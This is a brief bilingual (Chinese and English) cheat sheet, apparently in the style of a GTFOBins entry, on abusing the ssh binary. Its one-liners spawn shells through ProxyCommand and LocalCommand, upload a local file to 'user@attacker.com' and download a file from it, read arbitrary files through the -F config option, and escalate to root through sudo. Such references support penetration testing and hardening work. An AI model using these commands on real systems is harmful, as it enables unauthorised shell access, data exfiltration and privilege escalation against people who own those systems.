用来生成一个交互式的系统shell。
ssh localhost $SHELL --noprofile --norc
Spawn interactive shell through ProxyCommand option. ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Spawn interactive shell on client, requires a successful connection towards host
. ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host
上传文件到外部。
HOST=user@attacker.com
RPATH=file_to_save
LPATH=要发送的文件
ssh $HOST "cat > $RPATH" < $LPATH
下载远程文件。
HOST=user@attacker.com
RPATH=file_to_get
LPATH=file_to_save
ssh $HOST "cat $RPATH" > $LPATH
从文件中读取数据。
LFILE=要读取的文件路径
ssh -F $LFILE localhost
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x